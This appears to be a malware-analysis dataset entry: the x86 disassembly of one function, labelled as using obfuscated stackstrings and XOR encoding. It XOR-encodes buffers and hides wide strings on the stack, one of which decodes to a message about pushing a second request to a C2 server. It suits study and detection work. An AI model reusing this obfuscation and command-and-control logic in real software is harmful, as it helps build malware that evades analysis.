Function at 0x4041e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 8], ecx
mov esi, 0x20
lea eax, [ebp - 0x160]
lea esp, [esp]
mov byte [eax], 0
lea eax, [eax + 1]
sub esi, 1
jne 0x404200
lea ecx, [ebp - 0x1e4]
call fcn.00403430
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x160]
push 0xa
push eax
mov eax, dword [ebp + 0xc]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
call dword [0x425340]
add esp, 0x10
push 0x8000
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x404274
push 0x80
call dword [0x425428]
push 0x8000
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x404250
lea eax, [ebp - 0x268]
push eax
call fcn.004047a0
mov edi, eax
xor ecx, ecx
xor byte [ecx + edi], 0x63
inc ecx
cmp ecx, 0x84
jb 0x404284
mov eax, 0x10624dd3
mul dword [ebp + 0x10]
lea eax, [ebp - 0x160]
shr edx, 6
push edx
push eax
push ebx
push dword [ebp - 8]
lea eax, [ebp - 0x1e4]
push 0x423dd4
push 0x425580
push eax
push edi
push esi
call dword [0x4253a4]
mov ebx, eax
add esp, 0x24
xor edx, edx
mov dword [ebp + 0xc], ebx
mov ecx, 0x20
test ebx, ebx
je 0x4042e2
inc ecx
lea eax, [edx + esi]
imul ecx, ecx, 0xffffffd6
inc edx
xor byte [eax], cl
cmp edx, ebx
jb 0x4042d4
lea eax, [ebx*4]
push eax
push 8
push dword [0x425ba8]
mov dword [ebp + 0x10], eax
call dword [0x425358]
mov edi, eax
test edi, edi
jne 0x404327
mov ebx, dword [ebp + 0x10]
push 0x80
call dword [0x425428]
push ebx
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
test edi, edi
je 0x404304
mov ebx, dword [ebp + 0xc]
push ebx
mov edx, esi
mov ecx, edi
call fcn.00402e10
mov ebx, dword [0x42557c]
add esp, 4
cmp word [ebx], 0
je 0x4045eb
mov dword [ebp + 0x10], 0x4d
mov dword [ebp - 8], 0x22
mov dword [ebp - 0x10c], 0x34
mov dword [ebp - 0x110], 1
mov dword [ebp + 0xc], 0x28
mov dword [ebp - 0x114], 0x56
mov dword [ebp - 0x118], 0x5b
mov dword [ebp - 0x11c], 0x54
mov dword [ebp - 0x120], 0x50
mov dword [ebp - 0x124], 0x4b
mov dword [ebp - 0x128], 0x2b
mov dword [ebp - 0x12c], 0x2e
mov dword [ebp - 0x130], 0x2f
mov dword [ebp - 0x134], 0x4f
mov dword [ebp - 0x138], 8
mov dword [ebp - 0x13c], 0x24
mov dword [ebp - 0x140], 0x4a
jmp 0x4043f0
mov eax, dword [ebp + 0x10]
mov ecx, 0x17
mov word [ebp - 0x12], ax
xor eax, eax
mov word [ebp - 0x14], cx
mov dword [ebp - 0x24], 0x6004c
mov dword [ebp - 0x20], 0x7000d
mov dword [ebp - 0x1c], 0xc0013
lea ecx, [eax + 6]
mov dword [ebp - 0x18], 0xd000a
mov dword [ebp - 0x10], 0xb0013
mov dword [ebp - 0xc], 0x630013
nop
xor word [ebp + eax*2 - 0x24], 0x63
inc eax
cmp eax, 0xe
jb 0x404430
mov eax, dword [ebp - 8]
mov edx, 0xa
mov word [ebp - 0xba], ax
mov eax, dword [ebp - 0x10c]
mov word [ebp - 0xb0], ax
mov eax, dword [ebp - 0x110]
mov word [ebp - 0xac], ax
mov eax, dword [ebp + 0xc]
mov word [ebp - 0xaa], ax
mov eax, 0x4c
mov word [ebp - 0xa4], ax
mov eax, dword [ebp - 0x114]
mov word [ebp - 0xa2], ax
mov eax, dword [ebp - 0x11c]
mov word [ebp - 0x9e], ax
mov eax, dword [ebp + 0x10]
mov word [ebp - 0xae], cx
mov ecx, dword [ebp - 0x118]
mov word [ebp - 0x9c], ax
mov eax, dword [ebp - 0x120]
mov word [ebp - 0xa0], cx
mov word [ebp - 0x98], cx
mov ecx, dword [ebp - 0x124]
mov word [ebp - 0x9a], ax
mov eax, 0x43
mov word [ebp - 0x94], cx
mov ecx, dword [ebp + 0xc]
mov word [ebp - 0x96], ax
mov eax, dword [ebp - 0x13c]
mov word [ebp - 0x92], cx
mov ecx, dword [ebp - 0x128]
mov word [ebp - 0x90], cx
mov ecx, 0x37
mov word [ebp - 0x7a], ax
mov eax, 0xc
mov word [ebp - 0x8e], cx
mov ecx, dword [ebp - 0x12c]
mov word [ebp - 0x72], ax
mov eax, dword [ebp - 0x140]
mov word [ebp - 0x8c], cx
mov ecx, dword [ebp - 0x130]
mov word [ebp - 0x70], ax
mov eax, 0x63
mov word [ebp - 0x8a], cx
mov ecx, dword [ebp - 0x134]
mov word [ebp - 0x82], dx
mov edx, dword [ebp - 0x138]
mov word [ebp - 0x6e], ax
xor eax, eax
mov dword [ebp - 0xb8], 0x130013
mov dword [ebp - 0xb4], 0x6000f
mov dword [ebp - 0xa8], 0x17000a
mov word [ebp - 0x88], cx
mov dword [ebp - 0x86], 0xf0043
mov word [ebp - 0x80], dx
mov dword [ebp - 0x7e], 0x430006
mov dword [ebp - 0x78], 6
mov word [ebp - 0x74], dx
lea ecx, [ecx]
xor word [ebp + eax*2 - 0xba], 0x63
inc eax
cmp eax, 0x27
jb 0x4045a0
push edi
call dword [0x425050]
push eax
lea eax, [ebp - 0x24]
mov edx, ebx
push edi
push eax
lea ecx, [ebp - 0xba]
call fcn.00403620
add esp, 0xc
test eax, eax
jne 0x4046b7
push ebx
call dword [0x4252e0]
lea ebx, [ebx + eax*2]
add ebx, 2
cmp word [ebx], 0
jne 0x4043f0
mov dword [ebp - 0x6c], 0x160033
xor eax, eax
mov dword [ebp - 0x68], 0xb0010
mov dword [ebp - 0x64], 0xd000a
mov dword [ebp - 0x60], 0x430004
mov dword [ebp - 0x5c], 0x60030
mov dword [ebp - 0x58], 0xc0000
mov dword [ebp - 0x54], 0x7000d
mov dword [ebp - 0x50], 0x310043
mov dword [ebp - 0x4c], 0x120006
mov dword [ebp - 0x48], 0x60016
mov dword [ebp - 0x44], 0x170010
mov dword [ebp - 0x40], 0x370043
mov dword [ebp - 0x3c], 0x43000c
mov dword [ebp - 0x38], 0x510020
mov dword [ebp - 0x34], 0x250043
mov dword [ebp - 0x30], 0xa0002
mov dword [ebp - 0x2c], 0x6000f
mov dword [ebp - 0x28], 0x630007
jmp 0x404670
xor word [ebp + eax*2 - 0x6c], 0x63
inc eax
cmp eax, 0x24
jb 0x404670
lea eax, [ebp - 0x6c]
push eax
push 0
call fcn.0040b980
add esp, 8
test esi, esi
je 0x40469d
push esi
push 0
push dword [0x425ba8]
call dword [0x425290]
test edi, edi
je 0x4046b0
push edi
push 0
push dword [0x425ba8]
call dword [0x425290]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x63
mov dword [ebp - 0x108], 0x160033
mov word [ebp - 0xbc], ax
xor eax, eax
mov dword [ebp - 0x104], 0xb0010
mov dword [ebp - 0x100], 0xd000a
mov dword [ebp - 0xfc], 0x430004
mov dword [ebp - 0xf8], 0x60030
mov dword [ebp - 0xf4], 0xc0000
mov dword [ebp - 0xf0], 0x7000d
mov dword [ebp - 0xec], 0x310043
mov dword [ebp - 0xe8], 0x120006
mov dword [ebp - 0xe4], 0x60016
mov dword [ebp - 0xe0], 0x170010
mov dword [ebp - 0xdc], 0x370043
mov dword [ebp - 0xd8], 0x43000c
mov dword [ebp - 0xd4], 0x510020
mov dword [ebp - 0xd0], 0x300043
mov dword [ebp - 0xcc], 0x16
mov dword [ebp - 0xc8], 0x60000
mov dword [ebp - 0xc4], 0x70006
mov dword [ebp - 0xc0], 0x70006
xor word [ebp + eax*2 - 0x108], 0x63
inc eax
cmp eax, 0x27
jb 0x404783
lea eax, [ebp - 0x108]
jmp 0x40467f